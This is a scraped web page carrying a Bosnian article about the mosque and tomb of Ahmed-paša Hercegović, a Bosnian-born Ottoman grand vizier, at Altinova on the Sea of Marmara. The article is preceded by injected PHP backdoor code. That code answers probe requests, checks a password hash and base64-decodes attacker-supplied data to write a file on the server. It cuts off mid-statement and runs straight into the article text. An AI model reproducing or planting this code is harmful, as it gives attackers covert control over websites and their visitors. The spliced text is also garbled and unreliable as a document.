function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Na obali Mramornoga mora - Medžlis Islamske zajednice Bijeljina

Na obali Mramornoga mora

Na obali Mramornoga mora

U mjestu Altinova, na obali Mramornog mora, u zalivu Karamursel

Džamija Ahmet-paše Hercegovića, sina hercega Stjepana Kosače

Na obali Mramornog mora, zaliv Karamursel, u mjestu Jalova (Yalova), općina Altinova u Turskoj, pažnju posjetitelja privlači potkupolna obnovljena džamija Ahmet-paše Hercegovića (Hersek-zade). U prošlosti je više puta stradavala od zemljotresa, koji su ovom kraju česti, ali je svaki put obnavljana i građena od rezanog kamena, dimenzija 16,17×16,17 metara. Prema vakufnami, džamija je podignuta 1511. godine, a u Turskoj se dobro zna ko je bio Ahmet-paša Hercegović (1455 – 21. juli 1517), čije je turbe pored džamije.

OLYMPUS DIGITAL CAMERA

995966_515812531831989_844207362_n

 

Veliki vezir Osmanskog Carstva

Ahmed-paša Hercegović (Stjepan Kosača) jedan je od prvih velikih vezira Bošnjaka u Osmanskom Carstvu. Njegova starija polusestra bila je pretposljednja bosanska kraljica Katarina Kosača. Rođen je 1455. godine u Herceg-Novom (Kastel Nuovo) u porodici Kosača, kao sin srednjovjekovnog bosanskoga vladara Stjepana Kosače i njegove druge žene Barbare de Pajro Bavarske. Školovao se u Dubrovniku, a potom, nakon primanja Islama, na čuvenom istanbulskom Enderun mektebu.

Ahmet pasa Hersekzade dzamija

OLYMPUS DIGITAL CAMERA

Pod imenom Ahmet prvi put se javlja 1477. godine, u jednom fermanu sultana Mehmeda II, a već sljedeće godine bio je državni zastavnik, mirialam. U decembru 1481. ženi kćerku sultana Bajazida II i od tada njegova karijera još više napreduje. Bio je jedna od najmoćnijih ličnosti Osmanskog Carstva, od marta 1497. godine pa do smrti bio je pet puta veliki vezir kod tri sultana iz osmanskog “zlatnog doba” (Mehmed II, Bajazid II i Selim I). Stalno je bio član Divana, a neko vrijeme bio je i zapovjednik flote. Bio je vakif, državnik, vojskovođa, dobar poznavalac jezika i pjesnik. Legenda tvrdi da je njegovom zaslugom Dubrovačka Republika pošteđena osmanskog osvajanja.

 

Bosanskohercegovačka historiografija šuti

Imao je kćerku Humu i četiri sina, Ali-bega, poznatog pjesnika iz vremena sultana Selima I i Sulejmana Veličanstvenog, Mustafa-bega, Ahmed-bega i Mehmed-bega. Brat je bosanske kraljice Katarine Kosača Kotromanić, zet sultana Bajazida II, tetak Gazi Husrev-bega i sultana Sulejmana Veličanstvenog, daidža Ishak-bega (Sigismunda) Kraljevića Kotromanića i Skender-bega Crnojevića Bušatlije.

Turbe Ahmet-pase Hercegovica

Na žalost, bosanskohercegovačka historiografija uglavnom ne govori o jednom od najvećih sinova naše domovine. Ni u Turskoj, čije arhive su pune podataka o velikom veziru Ahmet-paši Hersek-zade, nema previše tekstova o njemu. No, zato su njemački orijentalisti o njemu odavno objavili knjige na osnovu građe iz venecijanskih i dubrovačkih arhiva. Jedini prijepis Vakufname Ahmet-paše Hercegovića, dokumenta koji govori o šerijatsko-pravnom uređenju poslovanja i djelovanja njegovih zadužbina, čuva se na Univerzitetu u Filadelfiji (SAD).

Autor: Emir Musli